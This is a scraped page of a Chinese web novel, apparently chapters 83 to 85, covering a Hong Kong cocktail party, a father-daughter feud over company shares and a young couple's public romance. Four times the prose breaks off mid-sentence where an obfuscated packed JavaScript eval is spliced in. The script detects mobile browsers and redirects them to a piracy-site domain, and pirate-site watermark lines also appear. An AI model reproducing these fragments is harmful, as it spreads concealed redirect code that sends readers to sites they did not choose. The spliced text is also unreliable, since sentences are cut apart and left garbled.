岳宁抱住老爷子的胳膊：“您是最懂爸爸和我的人。” 老友热情，小丫头又捧着他，周老爷子仿佛又回到了几十年前，被人围着捧着的时候，说是不提当年勇，谁还没那么点虚荣心。 光线调暗，灯光聚焦到舞台上，美女主持人上台，开启了一连串的开场白，她邀请本次合作双方的代表上台。 岳宁拿着杯子，看着苏菲和陆先生上台，苏菲和陆先生把祝酒词说完，苏菲举起酒杯，宣布酒会开始。 岳宁看着台上从容优雅的苏菲，她举起酒杯跟她隔空致意。 从本质上来说，自己和蔡致远都是一样老板，都喜欢把事情压给得力助手，只是自己能提供给下属更多的成就感。 仪式完毕，乐队登上舞台，旋律奏起。 室内中间是舞池，边上是休息区，室外还有自助餐食和清净的休憩洽谈之所。 岳宁见蔡致远好像就在等这 一刻，他去邀请苏菲，可惜苏菲把手交给了陆先生。 崔慧仪用男士礼仪邀请岳宁，岳宁踏着生疏的舞步进入舞池。 蔡致远被拒绝，坐到乔君贤边上，拿出一支烟来，表弟是个乖小孩，乖到烟都不抽，蔡致远点了烟，看着舞池里翩翩起舞的男女，除了岳宁和崔慧仪，岳宁脚步时常出错，蔡致远不禁发笑。 再看苏菲和鸿安总经理过来，明知道苏菲只是在这样的场合应酬，他却心里不舒服。 以往都是自己搂着女明星跳舞，苏菲在不显眼的地方忙碌，保证场上万无一失。 岳宁踩了崔慧仪一脚，乔君贤看着笑了，被岳宁警告地瞪了过来。 崔慧仪看见蔡致远那个死样子，问岳宁：“蔡致远怎么回事？以前我可不知道他对苏菲这么上心。 “在身边不珍惜，得不到的才是最好的。 崔慧仪翻了个白眼：“就是贱。 两人转过去，刚好和崔家昌错身而过，岳宁把刚才跟崔家昌说的话，说给崔慧仪听。 “随便他怎么想，我做好了强拿回立德的准备。 小说全网首发无弹窗免费阅读ｃａｉｘｓ≦(请来才 小说 看最新章节 完整章节)崔慧仪看向蔡致远，“等下我去找蔡致远跳，等你和君贤跳了，你再找他去。 “姐姐，真坏！岳宁挑眉。 曲声停了，崔慧仪放开岳宁，两人走到表兄弟俩那桌。 蔡致远见苏菲终于和那个谁分开了，他刚要站起来，崔慧仪在他身边坐下，还把手搭在他肩膀上：“下一曲，咱们俩跳？ 蔡致远回头看了她一眼，崔慧仪比他小两岁不到，从小玩到大，这丫头又凶又野，今天还穿了男装，搂着她跳舞？ “没空。蔡致远一口回绝。 “我是可怜你，见你没带女伴，陪你跳舞。你还嫌弃了？崔慧仪不管不顾，死死按住蔡致远。 蔡致远头疼，这都是个什么世界，女孩子一个个力气都这么大了？ 岳宁看向通往室外的门，苏菲正往外走，她说：“致远哥哥，今天苏菲姐很忙，就别去打扰她了。慧仪姐陪你跳了，我再跟你跳。 蔡致远听见这话，看着她：“我今天来，先搂崔慧仪这只金哈蟆，再抱你这只金哈蟆，我们这是哈蟆抱团呢？ 岳宁笑：“苏菲姐跟了我，迟早也会成金蟾蜍，你要适应。 乐曲声响起，乔君贤带着岳宁跳舞，蔡致远被崔慧仪拉着进了舞池，眼光看着窗外，跟客商聊天的苏菲。 “ 别看了，人家看了你几年了，早就对你没想法了。”崔慧仪白了他一眼。 蔡致远皱眉：“你懂什么？” “《香江望族》里，朱太太原谅朱老爷了吗？你太奶奶最后和你太爷爷合葬了吗？”崔慧仪问他。 HTV也是厉害，半年前大火的剧《香江望族》，就是以蔡家为原型。从蔡致远的太爷爷过番，下南洋去新加坡创业，再转回香江开报社、电影公司和银行，成为一方巨擘说起。通过一个家族的历程，展现了香江从一个人口不足四五十万的城市到五百万的国际大都市的历程。 中间也穿插了爱恨情仇的狗血。 蔡致远的太爷爷太奶奶一开始鹣鲽情深，两人互相扶持，到后面他太爷爷有了一朵解语花，伤透了太奶奶的心，最终结婚数十年的夫妻离婚收场，轰动香江。 即便后来他太爷爷回心转意，想要求回他太奶奶，最终他太奶奶也没答应，两人虽然都葬入蔡家祖坟，却是一个在东一个在西。 剧本出来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915439|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候，下面的人让他审阅，这么长的剧本他哪儿有时间看，再说有原型，也可以创作，而且都改名换姓了。他相信自家的编剧，苏菲却提醒他：“编剧说为了收视率，他们决定最后大团圆为结局。我认为这是对老太太的不尊重。” 他一听，立马去仔仔细细看了剧本，妈的！把编剧叫过来臭骂了一通。真要这么改，他爷爷到他，祖孙三代都别想给太奶奶上坟了。 当时，隔壁台见他们拍这个剧集，立马也拍同类型题材剧集，那家大结局就是男方娶了四个姨太太，最后男主被姨太太背叛，中风到话都说不清楚，原配太太对男主不离不弃，男主回心转意，握住原配太太的手说：“还好，我还有你！” 两家电视台几乎同时播放类似剧集，不同的结局，引发了社会的讨论。很多人问凭什么男人一生多次背弃女人，却要女人不离不弃？那些日子蔡老太太墓前，多了很多鲜花。 小说更新，记住域名ｃａixs?(请来才 小说 看最新章节 完整章节) “你太奶奶一个小脚老太太尚且不肯妥协，更何况今时今日的职场女性。”崔慧仪仰头看他，“你愿意洗心革面，那也另找他人吧？你在她那里已经没有信用了。” 蔡致远这些天都没睡个囫囵觉，一来确实多了很多杂事，二来却是想这些年两人之间的关系。 “我从未把心放在别的女人身上。” 崔慧仪笑：“你于她也不过是一个别的男人。” 这又激起了蔡致远心里一直藏着的疑问，他看岳宁几次脚踩乔君贤，乔君贤还乐乐呵呵，本来心内嫌弃。然而，为了那个疑问，他就和这个妹妹跳一曲了。 蔡致远和岳宁跳舞，借着机会问：“苏菲的男朋友你见过吗？ 岳宁踩了蔡致远一脚：“没听她说过，也没见过。 “看见了，跟我说一声。蔡致远跟小丫头说。 “嗯！看见了一定跟哥哥说。没有就不用说吗！ 岳宁看见室外，正在聊天的父女俩，崔家昌突然神情激动地站了起来，不知道在说什么。 蔡致远放开了岳宁，两人一起快步走出去。 “我不接受这样的条件。崔慧仪沉着一张脸对上崔家昌，“我只要外公留下的立德，崔记跟我有什么关系？ “崔记跟你没关系？你是不是我女儿？崔家昌质问崔慧仪，“我这是已经把大半身价都给你们姐妹俩了，你不要太贪心。 乔启明带着周宣雄和一帮老友回忆往昔，听见父女俩又吵起来了。 他微微摇了摇头，站了起来，走过去问这对父女：“这是怎么了？ “乔老板，您来评评理。我是一让再让，一退再退。我给她们姊妹一半的崔记股份，也转让部分立德股份给她们姊妹俩，保证她们俩的股份加起来能绝对控股立德。我还说，我让出崔记董事局主席之位，让她接位。这算不算是最大的退让了。她跟我说只要立德，不要崔记。崔家昌神情悲伤地看着崔慧仪。 第83章 喂葡萄 崔家昌指着自己的头发：“你好好看看，你爸爸我已经满头白发了。” 这个崔慧仪早就看见了，也确实是她步步紧逼造成的，她淡淡笑问：“所以呢？” “你是我女儿，旁人见崔记如今的境况，尚且会搭一把手。你呢？”崔家昌看着自己的女儿，痛心疾首，“我崔家昌能有今天，也都是仰赖大家的支持。你崔慧仪能快速起来，亦是如此。没有这些长辈帮你，你以为你真能把立德带起来？你这样小人得志，连对自己的亲爸爸都要落井下石的人。谁看了不心寒？” 明明她爸在这样的场合，跟这些人说她是个不会感恩，薄情寡性的人，崔慧仪这时候还翻着白眼，把刻薄演绎得淋漓尽致。 乔启明没好气地看了一眼崔慧仪，沉着一张脸：“一个好好的大家小姐，你这是什么样子？” 被乔老先生训了，崔慧仪立马像只鹌鹑，低头敛眉。 “家昌啊！你们父女俩斗法，本来外人无权置喙。只是慧仪这丫头为了保住立德，付出了多少，我们都看在眼里。你也说了，你起来也是仰赖我们。那我就倚老卖老说两句了。”乔启明的地位，他说什么，崔家昌也只能听着。 “是。” “你们父女俩，看在老哥哥的份上，我都帮过。”乔启明看向周宣雄，“我们这帮老东西，都是在腥风血雨里，看着前面的人要倒下，把自己的血抽出来给别人续命，才活了下来。老一代的交情，也就延续到下一代身上。” 周宣雄点头，乔启明再看崔家昌：“帮你是如此。可你岳父走了之后呢？男人三妻四妾，自古有之，我无权评判。你对彩英呢？你对你岳父留下的家业呢？慧仪一个刚留洋归来的小丫头要接手立德，我们欣慰，自然要帮她。刻薄还是重情，这是论心和论迹的问题，站的立场不同，自然看法不同。你在你岳父葬礼上的话，在彩英葬礼上的话，我还都记得。你承诺的立德食品给项立德的血脉，你兑现承诺了吗？” “对啊！我只要外公留下的立德。又不想要崔记！”崔慧仪抬起头说。 “乔叔，我等于是把崔记和立德一并给她们姊妹俩了，我活着剩下的股份在我手里，我**，那些股份就是信托，我总要保证其他人的生活吧？”崔家昌跟乔启明争辩，“这样还不够吗？” “你又在混淆视听了，如果你言而有信，你就该先履行对你岳父和妻子的 承诺。慧仪也以她的实力证明了，她有本事经营好立德。你还把这些股份捏在手里做什么？然后再说，你年纪大了，要让下一代接手家族事业。姊妹俩能力出色，你把崔记让她们俩经营，那就是另外一回事了。”乔启明问崔家昌，“我只是个知情人，说一下前因后果。立德的股份在你手里，怎么决定也是你的事。今天是宝华楼和鸿安的酒会，不是你们家家事开庭审理，你们自己回去再商量。” 乔启明说这几句话，也没巴望着能帮姊妹俩要回立德的股份。如今立德蒸蒸日上，他几句话怎么可能让崔家昌乖乖交出立德股份？不过是看不得崔家昌整日指责崔慧仪刻薄没有感恩之心而已。 表明立场，人群散去，只余下崔家昌和他的女友，这么多商场上的人，竟然无人来找他崔家昌搭讪。 反观崔慧仪不是陪在岳宁身边，就是被人截住，她谈笑风生，俨然是会场的红人之一。 在岳宁的有意推动下，苏菲成了会场上的另外一个红人。 蔡致远一个人找了个僻静的地方，喝着酒，抽着烟，他这么喜欢热闹的一个人，现在觉得特别没劲。 “这个苏菲也是真本事，刚刚爬下蔡大公子的大腿，又抱住了岳宁的大腿。” “这你就错了，苏菲根本没有失宠，而是另有大任。” “怎么说？” “你还真信一个十八岁的乡下姑娘能有那么大的能耐？这是亨通的本事罢了。亨通为了制造话题，把这么一个小姑娘推到人前，比明星还要火。要不亨通的太子爷，怎么会把他的心腹爱将放到岳宁身边？” “那几个做着蔡家大少奶梦的，不是白高兴了一场？” “可不就是？”这个声音哼笑一声，“演艺圈那些个脸蛋、身材一流的女明星，哪里及得上这位苏小姐？蔡大公子说往东她绝不往西，蔡公子让她一天之内必须完成，她二十四个钟不够用，可以创造出二十五个钟来。关键是还能扛得住蔡大公子的脾气，蔡大公子鸡蛋里挑骨头，她也能俯首帖耳，听过训斥了，要她脱衣服，陪着上床，她照陪不误。我要是蔡致远，早就把她娶回家了，省得别人惦记。” “她就这么乐意？” “港城老牌豪门少奶奶，诱惑太大了。不过，这种机会给我，我是不愿意的。上嫁吞针，旁的少奶奶，那根针大多来自于家姑。蔡大公子本身就是那根针。” “你 说乡下姑娘没那个本事，她不是把乔二公子拿捏得死死的？” 蔡致远也看见了，乔君贤那个傻小子拿了一颗葡萄，从岳宁背后，伸手过去，岳宁张嘴就吃了。 “我是说没那么大的本事，不是说她一点本事都没有。不过这豪门公子哥儿，还真能从一而终？” 蔡致远站了起来，咳嗽了一声看向那两个嘴碎的女人，那两个女人见了他像是见了鬼。 蔡致远不认识那两个女人，他板着脸：“当你们聪明是吧？” 那两个女人站了起来，低着头不敢说话，两个男人匆匆赶来，蔡致远一看，好吗！还是跟电视台相关的广告公司的人。 其他人也都往他们这里看来。 “蔡先生。”一个男人走过来。 蔡致远见苏菲和岳宁也往这里走来。 岳宁真是头疼，一个酒会，刚才崔家父女，这会儿蔡致远要做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915440|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 蔡致远看着苏菲，又看向那两个女人：“我澄清一下，苏小姐不是我派到岳小姐身边。是苏小姐想要离开亨通，离开我，我向她求婚，她也不肯嫁。岳小姐把她挖过去的。” 蔡致远手指撑了撑脑门，对岳宁和苏菲说：“我喝得有点多，先走了。” 他转身要走，岳宁追了过去：“致远哥哥，你喝多了，别开车，打的士回去。” 岳宁送了蔡致远到楼下，蔡致远停下来扯出一抹笑容，看她：“没喝多。” “那就好。”岳宁放心了。 蔡致远伸手弹了一下岳宁的脑门：“坏东西，哥哥也不想知道那个男人是谁了。她跟着你，肯定比跟着我开心。我就放心了！” 岳宁目送蔡致远离开。这的人啊！做他的妹妹，做他的朋友，都很幸运。 岳宁送走蔡致远上楼来，通往二楼宴会厅的楼梯上，见崔家昌扶着钟小姐要提前离开。 “宁宁，月珊身体不舒服，我们先走了。” 这个场合崔家昌提出那个在他看来已经是退了再退的方案，还不被崔慧仪接受，还被乔爷爷说了一通，想来是没脸再留下了。 “好的。”岳宁也不强留，出于礼貌送他们到了楼下。 岳宁再上楼，去崔慧仪那里坐下，说：“你爸提早走了。” “对啊！钟月珊跟了他五年，总算吃东西呕了。”崔慧仪随口一说。 “啊？”这是什么意思？ “钟月珊故意在这个场合让人知道她怀孕了吧？刚才 她吐了。我现在祈祷钟小姐能一举得男能让我爸重新萌生斗志。”崔慧仪贴在她耳边说。 岳宁和崔慧仪一样为崔家昌感到高兴希望他不要再有退意了继续努力吧！ 一场商业合作第二天却霸住了财经和娱乐两个版面。 财经版面四平八稳的新闻是：“鸿安与宝华楼联合签署合作协议”、“宁宴引入内地大厨不会掏空御龙轩”、“岳宁请来粤城老饕做宁宴顾问” 劲爆新闻：“崔慧仪只要立德拒绝接受崔记”这一条新闻出来据说崔记开盘股价下跌15%后来探底回升也就回升了三个点到午市场收盘还跌了12%。 港城的记者就是这么敬业一波人守着这个商业酒会还有人居然去蹲守御龙轩：“宁宴尚未开业御龙轩上座率已经不足六成。” 还配了一张御龙轩大厅空了一半的图。 娱乐版面蔡致远图片占了小半个版面标题：“蔡致远为苏菲开火公开承认被甩蔡太：衰仔活该” 蔡太是怎么回事？岳宁看下去亨通真的是不要脸 下面一条最先进入她眼睛的是乔君贤低头把葡萄塞在她嘴里的图片。 “乔君贤喂葡萄岳宁拿下乔二公子” 岳宁能说她当时以为是崔慧仪吗？她都没想到乔君贤会做这么亲密的动作。 第84章 答应做他女朋友 图片上她吃葡萄的表情，那是满满的幸福。岳宁想起当时她吃着葡萄还想转头跟姐姐贴贴，幸亏没干。 记者问：“岳小姐，可以透露一下，你什么时候把乔君贤拿下的吗？” 岳宁认真地研究报纸，用不确定的口气问：“你说他是不是在追我？” 乔君贤给岳宁喂葡萄，为什么变成岳宁把乔君贤拿下了？记者自己都觉得问得有问题，他凑过去一起看报纸：“看上去像是。” 岳宁的表情像是有点害羞，还有些傲娇：“如果以后看电影他不捂住我眼睛，我可以答应做他女朋友。” 记者这下反应过来，岳宁和乔君贤还没表白吗？他立马转身，乔君贤应该在观塘工厂吧？ 岳宁进宝华楼，阿邦叔他们前天到达港城，第一天安排了食宿，昨天岳宁忙签约仪式，给他们三个安排了酒楼制度培训。 今天午市，三人进了后厨，也没动手，只是在边上看着，岳宁让他们熟悉一下后厨的节奏，宝华楼的工作压力要比福运楼高很多。 这会儿午市结束，大家正在休息，闲聊的闲聊，看报的看报，一个学徒眼睛盯着电视机，紧张地叫：“查理快啊！快啊！” 电视正在直播赛马。 这小子有闲余时间就研究马经，很痴迷，平时收看赛马直播，去年沙田马场开了之后，他时常换班去看赛马。 岳宁敲了敲这个小子的桌子说：“小赌怡情，大赌伤身，强赌灰飞烟灭。别太沉迷！” 岳宁不喜欢这样的员工，只是这是人家私人的事，工作上没有问题，她只能劝两句。 岳宁上楼叫了岳宝华，岳宝华拿了车钥匙下楼来，岳宁招手：“阿邦叔、阿星、国强，走了！” 三个人连忙跟上，岳宝华开车。岳宁昨天忙着签约仪式，今天总算是有点空了，刚好他们祖孙俩要去浅水湾，岳宁决定下午带着他们逛逛港岛。 “刚过来，感觉怎么样？”岳宁转头问他们三个。 “国强被我们俩的打呼声给弄得两个晚上没睡好。”阿邦看着罗国强说。 “他们俩晚上打鼾像打雷一样。我起床踢了阿邦一脚，他就‘嗯嗯’一声，继续打鼾。”罗国强抱怨。 “之前街角的那间阁楼应该还在，就是那间屋子是个阁楼，而且还没单独卫浴，所以我才选了这么一个带着独立卫浴的房子。要不等下让花姐把它租下，国强一个人搬过去吧！” 岳宁说道。 在人生地不熟的地方跟自己相熟的伙伴分开罗国强摆手说：“不用不用！习惯几天就好了。” “那你就先适应一下。要是适应不了再跟我们说。”岳宁说。 “好的。” 车子出了隧道眼前已经是高楼大厦马耀星拉着何运邦说：“阿邦你看！这才是港城。” 何运邦看着外头车水马龙：“这个是港城宝华楼在的地方就不是港城了？昨天傍晚拉着我们要进去的那个姑娘还是上海来的呢！” 岳宁听见这话吓了一跳。旺角这里乱七八糟的什么都有尤其是何运邦这样的光棍别来这里赚了一点钱最后全花那些地方了。 她连忙转头正色道：“阿邦叔你们可千万不要碰那些港城有这种高楼大厦也有阴暗见不得人的地方。” “对了我有个兄弟出来投靠他叔了 岳宝华说：“阿星那是你兄弟。我不好让你断了联系但那是九龙城寨。那些从大陆过来没有身份的流民刚开始都是住那里里面很乱很杂。你也不知道他现在做什么了最好不要来往了。港城往上是上流社会亿万富豪往下是就是九龙城寨里常年不见阳光的地界。” “华叔我们知道的。” 岳宁再次跟他们强调：“记得你们来这里就是来学手艺学管理还有打工挣钱。这两年攒上一笔钱然后回粤城买房娶媳妇的钱都有了。那时候鸿安大酒店也快要开业了。粤城的鸿安是中港合资的也归口于二商局管我在里面开宁宴你们回去刚刚好位子都有了以后你们可都是领导。” “宁宁你就别操心了。我们就是不懂那个女人一开口我们知道她是做什么的。立马逃了！”何运邦说道“我们三个一定好好干刚才我们看了难怪阿松跟我说来了第一件事就是要把鞋买大一码。” 宝华楼现在的工作量就是比起以前那也是加了不少不要说跟吃大锅饭的福运楼比了。刚来的人一天站下来脚都肿了不过一个礼拜下来就适应了。 “宝华楼肯定比福运楼要累很多。”岳宁说道主要也是宝华楼的发展速度太快人员跟不上导致的。 何运邦笑：“你给我开的工资也不低。你也知道我之前想过要出来他们说港城我们这种没身 份的，一个月八百，不包食宿，那时候觉得很高了，人家也跟我说了，那是要从早做到晚，没得停的。我刚才问了后厨洗碗工，他一个月也能拿一千三四呢！一样干活，宝华楼比其他人家钱多多了。” “宝华楼给的工钱是同行里比较高的，但是算到劳累程度，也没那么多。你说的那些，就是知道流民没身份，你想要留下来，活下来，就必须做，那个是真苦。” 岳宁微微叹息，高速发展的港城，上限无限高，底限也是低到尘埃。 “对了，宁宁！昨天花姐跟我们说，还有花红，是什么？我还没搞懂。” 最近一个月阿松拿了七千多港币，当时胜华楼挖人，给楼家富开的工钱也就是五千港币。 岳宁秉承多劳多得，把各个菜品，按照难易程度，算了系数，从切墩、打荷到厨师，核定了系数。多劳多得，还有就是顾客评价，和宝华楼整个营业额，这些因素综合起来。 上个月发工钱的时候，宝华楼从上到下，每个人都笑得眼睛眯成一条线。老板再会画饼，也不如真金白银来得实惠。 三个人过来基础薪资是约定打七折，但是激励不打折。 岳宁给他们算，三个人眼睛放光，来了有地方落脚，钱本来就比听说的多，现在还有这么高的奖金？ 已经到辉煌了，岳宁下车，仰头看去，工人正在铲除辉煌的招牌。 何运邦看着眼前和宝华楼风格截然不同的大酒楼，不禁发出感叹：“好气派啊！” 出来之前他们对港城有太多的向往，以至于初到宝华楼的时候，有点小小的失望，他们想象中的宝华楼是很气派的大酒楼，实际上是在旺角的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915441|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条街道里，里面空间跟福运楼不能比。上下两层的酒楼，几乎每个空间都利用足了。 福运楼比宝华楼从外观看不知道气派多少，里面空间也宽裕多了。 宝华楼的好处是，里面很新，冷气开得很足，不像福运楼的后厨，一个午市下来，衣服都是湿的。 而且宝华楼给他们安排宿舍，住宿条件也很拥挤，阿邦是无所谓，他家里条件差多了。罗国强家三代人都在福运楼，罗国强的爷爷当初还是福运楼主厨，国家级的粤菜大厨，他们家房子宽裕，六十几个平米。 一下子难免有些失落，觉得跟自己想象中的港城有些差异，到了港岛，看见了中环的高楼大厦，再到这里，这两天真的是…… “走吧！”岳宁说。 祖孙俩和他们三个一起进辉煌门厅的辉煌标识也在改。新来行政人员朱小姐见到他们打招呼：“岳先生、岳小姐好！” “你忙我带人来看看。” 一行人从楼梯往上走。马耀星看着满眼的金碧辉煌问：“这是皇宫吧？” 这要是放在几十年后这算是土豪风了但现在这就是奢华。 大厅里工作人员在进行深度清洁和保养。 苏菲送了一个合作商出来看见他们说：“来了。” “嗯！”岳宁有事要找苏菲商量她跟岳宝华说“爷爷你带阿邦叔他们好好看看。我跟姐姐商量一些事。” “好！” 岳宁跟着苏菲进了办公室苏菲的这个办公室很大还有超级漂亮的海景外面安排了秘书室内里还有一个衣帽间这是辉煌装修的时候俞婉媚给自己留的。 一开始苏菲说这个办公室留给岳宁。 岳宁拒绝：“我跑来跑去有多少时间在这里？你倒是天天要用还要接待客人你的办公室才代表公司形象。” 苏菲跟她汇报了进度 小说全网首发无弹窗免费阅读ｃａｉｘｓ?(请来才 小说 看最新章节 完整章节)小修小补这几天就能结束非后厨人员也已经基本到位。 苏菲拿了几份简历给岳宁：“就是商务拓展这块我是理解你的要求但是各家公司设置相关岗位的比较少一下子很难找到合适的人员。这些都是我勉强删选出来的人。” BD这个岗位对岳宁来说很关键但是这个年代大部分企业还没这个概念岳宁已经要求从公关和企划中去选她翻看着简历上头还有苏菲的记录岳宁微微摇头。 “就很难有合适的。” 岳宁突然想到了一个人：“自己培养呢？” “那招新人谁带？” “也不着急我有个好人选。”岳宁说“就是给我做家教的杨志杰。他学商科专业对口口才不错性格沉稳。不过他现在大一升大二港大三年制吗？还有两年毕业刚好培养出来。他教我读书我教他工作再提供一份工作给他。让他自己想办法培养团队。” “那这个事你自己来？” “行啊！” 两人正在聊工作苏菲的电话铃响了她说：“乔先生电话？接进来。” 她放下电话跟岳宁说：“乔二少找你。” 第85章 潦草的表白 乔君贤找她？要命了！刚才自己接受采访后，着急要来这里，忘记跟乔君贤说一声，万一记者采访他，让他记得说，她还是个小朋友，现在不适合谈恋爱。他喂她葡萄纯粹就是逗逗小朋友的。 岳宁拿起听筒：“喂！” “宁宁，你在浅水湾？” “我带阿邦叔他们过来看看，顺带来跟苏菲姐讨论一下公司情况。”岳宁说了这事，“乔君贤，我跟你说……” 明明刚才都想得清清楚楚，现在脑子里是那张报纸上的照片，他低头弯腰，含笑看着她的样子，那双眼睛里，有着不容忽视的专注，自己开口说那些话，不仅像是装疯卖傻，装不知道，而且还是对他的不尊重。 刚才她没能在记者面前完全否认他们之间的关系，就是这个心理。 “你想说什么？” 乔君贤的这句话似乎带着紧张，果然自己没猜错，她笑了一声敲自己的脑袋：“事情太多，话到嘴边一下子想不起来了。你找**嘛？” 电话那头，他好像轻轻呼了一口气。 “你不是说要去我家跟我爷爷奶奶还有爸妈了解一下家里人的口味，准备宴会的菜单吗？今天晚上有空吗？刚好家里人都在呢！” 他是打电话来说这个事？是自己多心了，还给他加戏了？岳宁暗笑自己。 莫伯伯一家日子定了，南洋叶家人来港城接莫伯伯和大妈妈，宁宴刚好是叶家的产业，她又是算是莫伯伯夫妻的半个养女。他们决定把这个宴席放在宁宴。 虽然大家都是华人，但是地域不同，口味差异很大，岳宁就想了解一下大家的口味，做尽可能照顾到每个人的需求。 “好啊！”岳宁应。 “那你等着，半个小时候后，我来接你，一起回去。”乔君贤说。 “好的。” 岳宁挂了电话，跟苏菲说：“乔君贤等下来接我，去他们家。” “都已经上门了？”苏菲问。 “我伯伯和大妈妈要来港城了，这个宴席不是咱们宁宴试营业吗？”岳宁笑着说，“姐姐想什么呢？” 苏菲笑：“没想什么，那张照片上你们太有默契了。” 岳宁耸肩，不想解释，任何解释在别人看来就是掩饰。她站起来：“我出去看看。” 岳宁走了出去，岳宝华已经带着三个人看过了。 “宁宁，听华叔说这是你来了之后，才收过来的？你来了才几天啊？” 阿邦慨叹，“还是这样的大酒楼？” 要让下属死心塌地地跟随，本身的能力，人格魅力很重要，展现实力也很重要，要不然别人凭什么押宝在你身上。 “阿邦叔，我就等着你在这里炒出一盘别的地方吃不到的牛河。”岳宁跟他说，牛河邦在炒牛河上，岳宁自叹不如。 “阿星，你就是摆盘刀工大菜。”岳宁跟马耀星说。 岳宁看着罗国强：“国强哥，基本功差些没什么，咱们都是福运楼的传承人，你在宝华楼，好好跟我爷爷学，把福运楼底子补起来。” 罗国强虽然羡慕阿邦和阿星能来这里，他也知道自己的基础不行，这次能来，都是因为他有个好爷爷。领导希望他能学好，岳爷爷和岳宁也希望他能学好。 “我知道了。” 岳宁跟岳宝华说：“爷爷，乔君贤等下来接我，我去乔家商量一下宴席的口味。您带阿邦叔他们逛逛？” 何运邦凑过头来问：“宁宁，这个乔君贤是不是你对象啊？” “管我有没有对象？你先管好你自己，给自己找个对象。”岳宁已经没什么说的了。港城的报纸，电视台今天都是这些消息。 “走了。带你们去中环逛逛。”岳宝华说道。他的心情很微妙，一边是挺喜欢乔君贤，一边是不舍得自家的小白菜早早被外面的小猪拱了。 岳宁送他们出辉煌，看见乔君贤日常开的那辆奔驰驶入停车位。 乔君贤从车上下来，脸上春风拂面，走到他们面前：“岳爷爷，我来接宁宁。您要走了？” “嗯，我带他们几个去中环逛逛。”岳宝华上车，摇下车窗。 “我聊好就回。”岳宁说。 乔君贤弯腰：“我奶奶做了糕点，要留宁宁吃晚饭，吃过晚饭我送她回。” “好。”都搬了乔老太太出来，他还能说什么？ 乔君贤目送岳宝华的车，他问：“上车？” “我去苏菲姐那里拿个包，跟她打声招呼。”岳宁说。 岳宁拿了包下来，乔君贤给她拉开了车门，她坐进副驾驶。 乔君贤发动车子，车子一发动电台就接通了，四点了，港股四大会刚刚收市，电台里播报今天股市新闻，这个时候的港股英国人办一个交易会，中国人办一个，后来又出来两个，一共有四个交易会，各家上市标准也不一样，大大小小的企业都能上，崔记这样的企业已经算是大企业了。最近 一个多月崔记频频出问题导致股价一跌再跌反弹无力抛压严重从高点到现在股价跌幅已经高达61%。 股民在电台里表达观点：“崔家昌喜欢生崽就去专心播种不要再乱搞崔记了。” 崔记都这样了崔家昌让女友怀孕 接下去主持人细数了崔家昌的女人。这位钟小姐是他的十二任主持人说崔生的情史堪比裹脚布。 “这么多？”岳宁惊诧这崔家昌也是个能人。 “长期有关系的就是你知道的几个还有几个是小明星和选美女郎。可能短暂到几个月几个礼拜这样的。”乔君贤解释。 接下去新闻播报起了娱乐新闻某男星爆出跟契妈有一腿。契妈就是干妈这个干妈是富豪遗孀坐拥七八亿资产有好几个干儿子。 “这个富婆姐姐爽的。”岳宁不禁慨叹。 “乔君贤承认恋情。”电台主持人念出一句话。 主持人播了一段录音记者问乔君贤昨晚在酒会上给岳宁喂葡萄是不是他们俩已经确定了恋情。 他回答：“没有她在这方面比较迟钝我希望用比较亲密的动作唤醒她。不知道是不是有效？” 岳宁转头看他乔君贤一本正经地开着车耳朵通通红。岳宁说：“乔君贤。” 记者给他播了采访岳宁的录音播完记者问：“乔先生有什么看法？” 即便是电台里都能听得出他的声音都很开心：“我很开心她愿意做我女朋友。” “宁宁你跟记者说的是真的还是说只是为了把皮球踢给我？”乔君贤的声音有些紧张。 车子空间那么小夏天天气很热岳宁转念头转了又转她该怎么回应呢？ “如果你觉得这样回答不合适找机会我会说……”乔君贤问。 岳宁问：“你打算怎么说？” “你年纪还小……岳宁你的思想已经够成熟了我也已经表现得够明显了。”乔君贤说“我昨天喂你吃葡萄是故意的我不想以后别人跟你跳开场舞。” 昨天自己跟慧仪姐姐跳舞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915442|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 